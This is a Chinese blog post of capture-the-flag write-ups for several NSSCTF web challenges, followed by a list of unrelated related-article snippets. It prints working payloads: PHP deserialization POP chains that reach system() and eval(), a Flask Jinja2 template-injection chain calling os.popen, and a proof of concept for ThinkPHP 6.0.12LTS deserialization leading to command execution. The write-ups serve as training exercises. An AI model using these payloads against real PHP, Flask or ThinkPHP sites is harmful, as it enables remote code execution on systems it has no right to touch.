NSSCTF做题第9页(2)

news2024/9/24 5:22:32

[SWPUCTF 2022 新生赛]ez_1zpop

<?php
error_reporting(0);
class dxg
{
   function fmm()
   {
      return "nonono";
   }
}

class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
      $this->impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

这道题主要有三个绕过点,第一个是__wakeup()函数,第二个是

(isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52) 变量的MD5相等,但是两个变量不等

那需要我们构造的两个类就是class lt和 class fin

构造的时候设置一个变量a,创建了一个类的对象lt

然后把md5的条件满足一下,而这类的第一个变量$impo没有用到

就可以利用它来指向下一个新创建的变量class fin,再利用fin里边的公共变量进行命令执行得到flag

<?php
class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
}
class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
}
$m = new lt();
$m ->md51 = 'QNKCDZO';
$m ->md52 = 's878926199a';
$m ->impo = new fin();
$m ->impo -> a = 'system';
$m ->impo -> title =  'cat /flag';
echo serialize($m);
?> 

别忘了改一下成员数来绕过__wakeup()函数

O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:11:"s878926199a";}

改成:

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:11:"s878926199a";}

得到flag

[MoeCTF 2022]ezphp 

代码审计

来自chatgpt的解释:

首先,代码定义了一个变量$flag,它的值是“xxxxxxxxx”,表示一个未知的标志。

接下来,代码定义了两个字符串变量$giveme和$getout。$giveme的值是“可以需要标志!”,表示在缺少标志时给出的提示信息。$getout的值是“不!flag。再试一次。加油!,表示在输入正确的标志后给出的提示信息。

然后,代码通过判断是否存在$_GET['flag']或$_POST['flag']来确定是否有传递标志。如果没有传递标志,就会输出$giveme的值并退出脚本。

如果有传递标志,代码会检查传递的标志值是否为“flag”,如果是的话,就会输出$getout的值并退出脚本。

接下来,代码使用foreach循环遍历$_POST和$_GET数组中的键值对,并将键作为变量名,值作为变量值进行赋值操作。这样可以通过$_POST或$_GET中的参数名来直接获取对应的值。

最后,代码输出“The flag is : ”和$flag的值,即输出标志的值。

综上所述,该代码的逻辑是:如果没有传递标志,则给出提示信息;如果传递了标志,并且标志不等于“flag”,则给出另一条提示信息;如果传递了标志,并且标志等于“flag”,则输出标志的值。

关键是这两句:
foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

$_POST数组中,将键作为变量名,将对应的值作为变量值。在$_GET数组中,对于每个键值对,将值作为变量名,并将对应变量的值赋给当前循环的变量

如果要echo,那么不能exit,那么必须传flag(get或者post),并且传入flag不能等于"flag",如果要$flag的值不会被更改,那就得提前“储存”flag。顺序不能变,必须要先用另一个变量把flag的值储存起来,否则flag会被覆盖。 

所以就可以传入 ?a=flag&flag=a,先把flag的值传给a,储存起来,然后再读取

 [HZNUCTF 2023 preliminary]flask

提示说传参name进去

先随便传一个123进去,发现回显是321,又试了一些,发现全是反着输出的

那试试}}7*7{{    ,ok倒序

在线文本字符反转 - 在线文本反转 - 文字反转生成器

找基类 下面的记得反转

{{"".__class__}} 得到空字符串类 <class 'str'>,用网页回显总是麻麻赖赖的,用bp看是正常的

  {{"".__class__.__mro__}}  得到:<class 'tuple'>, <class 'object'>

  {{"".__class__.__mro__[-1]}} 得到 <class 'object'>

得到基类之后,找到这个基类的子类集合

{{"".__class__.__mro__[-1].__subclasses__()}}

这里使用其第133个类([0]是第一个类 因此第133个是[132] )<class 'os._wrap_close'>

<class 'os._wrap_close'> 这个类有个popen方法可以执行系统命令

 

实例化我们找到的类对象

 {{"".__class__.__mro__[-1].__subclasses__()[132].__init__}}

找到这个实例化对象的所有方法

{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}

调用popen方法,进行rce 在环境变量里得到flag

{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('env').read()}}

 

这道题其实没什么难度,只是过程麻烦一点,需要你去找调用方法的类

用这一句话也是可以读的出来的

{%print(lipsum.__globals__.os.popen('env').read())%}

[UUCTF 2022 新生赛]ez_unser 

一道简单的反序列化

过滤了 /test":3,

正则限制死了不可能通过修改成员数量绕过__wakeup()

这里可以又看到在析构函数提及了b,c值的传递,考虑使用引用传参的方式,就不需要再考虑__wakeup()函数的影响了,我们可以把a和b变成用同一个内存变量,所以给b赋值相当于给a赋值。

payload

<?php
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){

    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$m=new test();
$m->b=&$m->a;
$m->c="system('ls /');";
echo serialize($m);
?>

在payload里修改一下路径,得到flag

[CISCN 2022 初赛]ezpop 

进去发现是thinkph-v6 直接去网上找

还是,推两篇博客给大家

 ThinkPHP V6.0.12LTS 反序列化漏洞的保姆级教程(含exp编写过程)-CSDN博客

漏洞挖掘-ThinkPHP6.0.12LTS反序列化_amingMM的技术博客_51CTO博客

果然有东西

下载www.zip

下载下来720个项目,哈哈哈真会开玩笑

从网上找漏洞复现,发现漏洞的起点在wakeup方法或者destruct方法,所以全局搜索一下这两个方法

搜索之后发现漏洞起点应该是在vendor\topthink\think-orm\src\Model.php 

找到起点之后就是跟着这个调用过程进行分析

 大佬的博客写的很详细了已经

两篇博客,关于这个漏洞的详细解析

 https://www.cnblogs.com/Jinx8823/p/16564437.html

ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户

 在app/controller/index.php找到了传参路径

所以传参的时候路径应该是index/test

直接上poc

<?php
namespace think {
    abstract class Model
    {
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = '')
        {
            $this->lazySave = True;
            $this->data = ['whoami' => ['ls /']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami', ['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model {
    use think\Model;
    class Pivot extends Model
    {
    }
}
namespace {

    echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
?>

首先,在命名空间think下定义了一个抽象类Model,它包含了一些私有属性和方法。这些属性包括$lazySave$data$exists$table$withAttr$json$jsonAssoc,并在构造函数中给它们赋予了一些初始值。

然后,在命名空间think\model下定义了一个继承自Model的类Pivot,它没有添加任何额外的属性或方法。

最后,在全局命名空间下,通过echo语句输出了一个序列化后的对象。具体地,它序列化了一个think\model\Pivot类的实例,并对序列化结果进行了URL编码。

 post传参,找到了flag路径

cat flag

 得到flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1131541.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

buuctf_练[羊城杯2020]easyphp

[羊城杯2020]easyphp 文章目录 [羊城杯2020]easyphp掌握知识解题思路关键paylaod 掌握知识 ​ .htaccess文件的利用&#xff0c;把自己指定当做 php文件处理&#xff1b;preg_match正则匹配的了解&#xff0c;stristr函数的绕过&#xff1b;file_put_contents文件写入操作的了…

Kubernetes速成课程:掌握容器编排的精髓

微服务演进方向 • 面向分布式设计(Distribution):容器、微服务、API 驱动的开发; • 面向配置设计(Configuration):⼀个镜像&#xff0c;多个环境配置; • 面向韧性设计(Resistancy):故障容忍和自愈; • 面向弹性设计(Elasticity):弹性扩展和对环境变化(负载)做出响应; •…

初识Java篇

1.介绍Java语言 1.1Java是什么 Java是一种优秀的程序设计语言&#xff0c;它具有令人赏心悦目的语法和易于理解的语义。 不仅如此&#xff0c;Java还是一个有一系列计算机软件和规范形成的技术体系&#xff0c;这个技术体系提供了完整的用于软件开发和跨平台部署的支持环境&am…

JS:将秒数转化为时分秒的形式

要求 将秒数转化为时分秒的形式,比如12&#xff1a;34&#xff1a;09代表12小时34分钟9秒注意&#xff1a; &#xff08;1&#xff09;如果只有一位数&#xff0c;前面要用0补齐&#xff0c;比如9秒要用09表示 &#xff08;2&#xff09;如果对应单位上的数字为0&#xff0c;要…

提升用户体验的利器:揭秘Spring框架中国际化的奇妙魔力

国际化 简单来说&#xff0c;国际化就是让应用&#xff08;app、web&#xff09;适应不同的语言和地区的需要&#xff0c;比如根据地区选择页面展示语言。 i18ninternationalization&#xff0c;首末字符i和n&#xff0c;18为中间的字符数 原理 基于传入语言or地区标识进行判…

【面试经典150 | 链表】两数相加

文章目录 Tag题目来源题目解读解题思路方法一&#xff1a;模拟 其他语言python3 写在最后 Tag 【单向链表】【数组】 题目来源 2. 两数相加 题目解读 对两个链表对应位置进行相加&#xff0c;最后返回结果链表的头结点。 解题思路 很多同学对链表操作不是很熟悉&#xff0c…

如何在 Chrome 中设置HTTP服务器?

首先&#xff0c;定义问题&#xff1a;在 Chrome 浏览器中设置HTTP服务器主要涉及到修改网络设置&#xff0c;使用HTTP服务器可以帮助用户访问网络内容&#xff0c;提高网络速度或者保护隐私。 亲身经验&#xff1a;我曾在使用 Chrome 浏览器时&#xff0c;为了访问一些受限的网…

找搭子平台小程序开发制作方案

找搭子小程序是一个基于地理位置的社交平台&#xff0c;旨在帮助用户找到附近的人&#xff0c;一起进行各种活动。的目标是打造一个安全、便捷、有趣的社交平台&#xff0c;让用户在享受活动的同时&#xff0c;也能结识新朋友。 找搭子平台小程序的目标用户主要是年轻人&#x…

Go语言入门心法(十五):Go微服务实战

Go语言入门心法(一): 基础语法 Go语言入门心法(二): 结构体 Go语言入门心法(三): 接口 Go语言入门心法(四): 异常体系 Go语言入门心法(五): 函数 Go语言入门心法(六): HTTP面向客户端|服务端编程 Go语言入门心法(七): 并发与通道 Go语言入门心法(八): mysql驱动安装报错o…

【从删库到跑路】MySQL数据库 | 存储过程 | 存储函数(使用代码辅助理解)

&#x1f38a;专栏【MySQL】 &#x1f354;喜欢的诗句&#xff1a;更喜岷山千里雪 三军过后尽开颜。 &#x1f386;音乐分享【The Right Path】 &#x1f970;欢迎并且感谢大家指出小吉的问题 文章目录 &#x1f384;存储过程介绍&#x1f384;存储过程特点&#x1f33a;存储过…

Uniapp 原生设置的动态tabbar如何传参数动态 ?

在 UniApp 中设置原生 TabBar 并实现动态传参&#xff0c;可以通过使用Vue的响应式机制或者Vuex状态管理来实现。 以下是一个简单的示例&#xff1a; 以上这就是一个大概代码框架示例&#xff0c;具体实现应该根据项目需求做相应调整。欢迎来 注册 体验

大数据-Storm流式框架(二)--wordcount案例

一、编写wordcount案例 1、新建java项目 2、添加storm的jar包 storm软件包中lib目录下的所有jar包 3、编写java类 WordCountTopology.java package com.bjsxt.storm.wc;import backtype.storm.Config; import backtype.storm.LocalCluster; import backtype.storm.genera…

ideaSSM在线商务管理系统VS开发mysql数据库web结构java编程计算机网页源码maven项目

一、源码特点 SSM 在线商务管理系统是一套完善的信息管理系统&#xff0c;结合SSM框架和bootstrap完成本系统&#xff0c;对理解JSP java编程开发语言有帮助系统采用SSM框架&#xff08;MVC模式开发&#xff09;&#xff0c;系统具有完整的源代码 和数据库&#xff0c;系统主…

轮胎尺寸后面的91W、101Y是啥意思?解释一下:轮胎载重指数和轮胎速度等级。

轮胎载重指数 轮胎的语言沟通是一组数字&#xff0c;并表示数据规格&#xff0c;品牌和类型的一系列信件的形式。这是普遍的&#xff0c;并得到了所有轮胎制造商全球达成一致。 “载重指数”是一个对应于最大载重量的数字&#xff08;单位&#xff1a;公斤&#xff09;&#xf…

【尘缘赠书活动:01期】Python数据挖掘——入门进阶与实用案例分析

引言 本案例将根据已收集到的电力数据&#xff0c;深度挖掘各电力设备的电流、电压和功率等情况&#xff0c;分析各电力设备的实际用电量&#xff0c;进而为电力公司制定电能能源策略提供一定的参考依据。更多详细内容请参考**《Python数据挖掘&#xff1a;入门进阶与实用案例…

RocksDB基本架构与原理详解

Rocksdb Flink提供基于流的有状态计算&#xff0c;除了提供实时数据流的处理能力&#xff0c;还需要将计算产生的状态存储起来。 为了满足状态存取需求&#xff0c;提供了memory、flie system、rocksdb三种类型的状态存储机制。 memory存取高效单空间有限&#xff0c;且可用…

【VPX302】基于3U VPX总线架构的高性能数据预处理平台

板卡概述 VPX302是一款基于3U VPX总线架构的高性能数据预处理FMC载板&#xff0c;板卡具有1个FMC&#xff08;HPC&#xff09;接口&#xff0c;1个X8 GTH背板互联接口&#xff0c;可以实现1路PCIe x8&#xff1b;具有4路SRIO X4。板卡采用Xilinx的高性能Kintex UltraScale系列…

Kmssink插件添加缩放显示功能的分析思路与具体实现

XILINX MPSOC 实现输出缩放&#xff0c;PL一侧的配置如下&#xff1a; 修改PL侧的显示通道流程为&#xff1a;DDR -> FRAMBUF_RD -> VPSS(SCALE) -> V_MIX -> HDMI_TX -> MONITOR , 通过设置HDMI_TX的宽高&#xff0c;利用xlnx_bridge 接口关联设置VPSS(scal…

MathType7.4绿色和谐版数学公式编辑器

MathType 是一个功能强大、所见即所得的数学公式编辑器&#xff0c;可以在 Word、PowerPoint 等办公软件中轻松输入各种复杂的物理公式、化学方程式和符号。由 MathType 创建的公式能与 Office 文档完美结合&#xff0c;显示效果很好&#xff1b;MathType 可在任何支持 OLE 对象…

数据分享 I 各地级市2022年乡村振兴数据

数据地址&#xff1a; 各地级市2022年乡村振兴数据https://www.xcitybox.com/datamarketview/#/Productpage?id364 基本信息. 数据名称: 各地级市2022年乡村振兴数据 数据格式: Shpxlsx 数据时间: 2022年 数据几何类型: 面 数据坐标系: WGS84坐标系 数据来源&#xff…